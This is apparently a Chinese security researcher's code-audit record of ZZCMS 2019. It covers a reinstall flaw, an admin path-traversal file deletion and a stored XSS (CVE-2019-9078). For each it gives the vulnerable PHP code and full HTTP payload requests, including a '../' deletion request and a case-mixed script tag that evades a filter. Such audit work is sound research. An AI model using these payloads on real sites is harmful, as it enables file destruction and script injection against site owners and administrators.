ZZCMS2019版本代码审计记录
下载 官网下载http://www.zzcms.net/about/6.htm
重装漏洞 step1.php
中会检测是否存在install.lock
,存在则显示已经安装过,否则跳出判断,执行正常安装
<?php if (file_exists ("install.lock" )){echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>" ;}else { ?>
但是该判断只在step1.php
中存在,step2.php,step3.php,step4.php
均不存在该代码
step3.php
中设置了token
,计算方式是:使用rand()
生成一个随机数,然后以这个随机数作为前缀生成23位的唯一ID
,然后再进行md5
加密确保唯一性。
uniqid(prefix,more_entropy)
函数基于以微秒计的当前时间,生成一个唯一的 ID。
如果 prefix
参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy
参数设置为 true,则是 23 个字符串长。
如果more_entropy
参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
index.php
中定义了$step
变量获取方法
<?php session_cache_limiter ('private, must-revalidate' ); if (!isset ($_SESSION )){session_start ();} include '../inc/config.php' ;include 'conn.php' ;if ($_POST ) extract ($_POST , EXTR_SKIP);if ($_GET ) extract ($_GET , EXTR_SKIP);$submit = isset ($_POST ['submit' ]) ? true : false ;$step = isset ($_POST ['step' ]) ? $_POST ['step' ] : 1 ;
因此重装漏洞可以通过post
step 值进行触发
后台任意文件删除 前提:需要后台权限
漏洞位置:/admin/dl_data.php
第12行开始
<?php if (isset ($_REQUEST ['action' ])) { $action = $_REQUEST ['action' ]; } else { $action = "" ; } if ($action == "del" ) { $fp = "../dl_excel/" . $_GET ["filename" ]; if (file_exists ($fp )) { unlink ($fp ); } else { echo "<script>alert('请选择要删除的标签');history.back()</script>" ; } } ?>
其中$_GET["filename"]
直接get方式取得filename
,没有经过过滤,导致可跨目录任意删除文件
Payload:
GET /admin/dl_data.php?action=del&filename=../robots.txt HTTP/1.1 Host: www.zzcms2019.cc Proxy-Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 DNT: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/ ;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=pfaouuq82dnb11vske0ahqr7f2; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; tablename=zzcms_zsclass
访问后,根目录下的robots.txt
已被删除
存储型XSS(CVE-2019-9078) 细读了下源码,发现在/user/ask.php
中存在modify()
函数,部分代码如下
以get
方法获取do
参数
<?php $do =isset ($_GET ['do' ])?$_GET ['do' ]:'' ;switch ($do ) {case "add" :add ();break ;case "modify" :modify ();break ;}
modify()
函数
function modify ( ) { global $username ; ?> <div class ="admintitle ">修改问答信息</div > <?php $page = isset ($_GET ['page '])?$_GET ['page ']:1; checkid ($page ); $id = isset ($_GET ['id '])?$_GET ['id ']:0; checkid ($id , 1); $sqlzx ="select * from zzcms_ask where id ='$id '"; $rszx =query ($sqlzx ); $rowzx = fetch_array ($rszx ); if ($id <>0 && $rowzx ["editor "]<>$username ) { markit (); showmsg ('非法操作!警告:你的操作已被记录!小心封你的用户及IP!' ); } ?>
其中调用了存在问题的函数markit()
函数所在文件/inc/function.php
function markit ( ) { $userip = $_SERVER ["REMOTE_ADDR" ]; $url = "http://" . $_SERVER ['HTTP_HOST' ] . $_SERVER ['REQUEST_URI' ]; query ("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE ["UserName" ] . "','$userip ','$url ','" . date ('Y-m-d H:i:s' ) . "')" ); }
其中的$url
没有经过过滤,直接插入数据库,因此我们可以注册一个用户,访问 http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1
,会出现
这时我们可以用Burpsuite抓包,修改包体的URI路径为/user/ask.php?do=modify&page=1&id=1&aaa=<sCrIpT>alert(/xss/)</ScRiPt>
使用<sCrIpT>alert(/xss/)</ScRiPt>
是因为在/inc/stopsqlin.php
中有一段检测函数
<?php if (strpos ($_SERVER ['REQUEST_URI' ],'script' )!==false || strpos ($_SERVER ['REQUEST_URI' ],'%26%2399%26%' )!==false || strpos ($_SERVER ['REQUEST_URI' ],'%2F%3Cobject' )!==false ){die ("无效参数" );}
完整包体如下
GET /user/ask.php?do=modify&page=1&id=1&aaa=<sCrIpT>alert(/xss/)</ScRiPt> HTTP/1.1 Host: www.zzcms2019.cc User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: __tins__713776=%7B%22sid%22%3A%201551009070949%2C%20%22vd%22%3A%205%2C%20%22expires%22%3A%201551010962798%7D; __51cke__=; __51laig__=12; bdshare_firstime=1551002231060; PHPSESSID=8o9ms5t57q6dag7ofku75fn2j7; UserName=test; PassWord=e10adc3949ba59abbe56e057f20f883e Connection: keep-alive Upgrade-Insecure-Requests: 1
当管理员访问后台中的用户→用户不良操作记录 时
即可触发